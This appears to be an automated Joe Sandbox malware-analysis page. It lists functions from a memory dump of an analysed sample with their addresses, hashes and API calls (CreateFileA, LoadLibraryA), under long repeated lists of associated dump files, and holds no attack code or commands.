Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55dba2550effe10b7429468169b1887cd5e89313df2f4b52c30e76f8e14c0a5a
Instruction ID: a3136cd6ced8f92b2c41e37bfd30863c877f131d73e8378906fef314f3c338bf
Opcode Fuzzy Hash: 55dba2550effe10b7429468169b1887cd5e89313df2f4b52c30e76f8e14c0a5a
Instruction Fuzzy Hash: B0319EF710C645AEF711CE55AE90AFE37ACEBC6730F30882BF881C6942D2654D499635

Function 00D374D3 Relevance: 1.6, APIs: 1, Instructions: 117
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C878AEC6,00000003,00000000,00000003), ref: 00D37623

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 747d6b783ab04235b38cd5b2b4576ec53bc1f84d8faba10937b9decb8be6beef
Instruction ID: 0ed419e724efa95591fb9faddf09c6bb77c93f8183f60d85ccc70a3ffafd7645
Opcode Fuzzy Hash: 747d6b783ab04235b38cd5b2b4576ec53bc1f84d8faba10937b9decb8be6beef
Instruction Fuzzy Hash: 2631E6B654C641AEE302CF359E51BBE77B8EBC2730F31846BF445C6042D2A44A499B71

Function 00D37703 Relevance: 1.6, APIs: 1, Instructions: 116
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00D3781D

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: eb9a88f4c016f2aa288bf66efcbfbe3c90f2fd67dec874cf26ccbee15fe8e9ae
Instruction ID: a3de3fb91a39ef47353d8bf02181ddae2c9fcd1ad72a11a0a91c1e79958bfcd1
Opcode Fuzzy Hash: eb9a88f4c016f2aa288bf66efcbfbe3c90f2fd67dec874cf26ccbee15fe8e9ae
Instruction Fuzzy Hash: C0218BF610CA09AEF720CE45AE90AFE37ACE7C5770F30882EF842C6941D2A55D459635

Function 00D3774C Relevance: 1.6, APIs: 1, Instructions: 113
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00D3781D

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b332839c61e351484a7092b01d1c74ea634ba0faf1addbbebc68bf57293eea8d
Instruction ID: 81ac6edc1795ddf1331c012dca6df5989b2235a24811f3ccb7383ecf28d1be52
Opcode Fuzzy Hash: b332839c61e351484a7092b01d1c74ea634ba0faf1addbbebc68bf57293eea8d
Instruction Fuzzy Hash: 9631E3FB10C64AAEF711CF50AD55AFE7B68EB86730F34442EE881C6942D2A10D559631

Function 00D33F0D Relevance: 1.6, APIs: 1, Instructions: 110
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00D33F0D

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1e5ab9bf0af7849717535c6c689d4903b0ddb4c048961ea6da0fda8caa82e5b9
Instruction ID: d788629dd15cb110133c3f14b647b4a8f1a6ba4fa9922c4c01fd6c307f47af61
Opcode Fuzzy Hash: 1e5ab9bf0af7849717535c6c689d4903b0ddb4c048961ea6da0fda8caa82e5b9
Instruction Fuzzy Hash: 5D4126B250C300EFD3166F18D84267AFBE9FFA4760F16091DEAD187250EB3548518B97

Function 00D3751E Relevance: 1.6, APIs: 1, Instructions: 94
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C878AEC6,00000003,00000000,00000003), ref: 00D37623

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
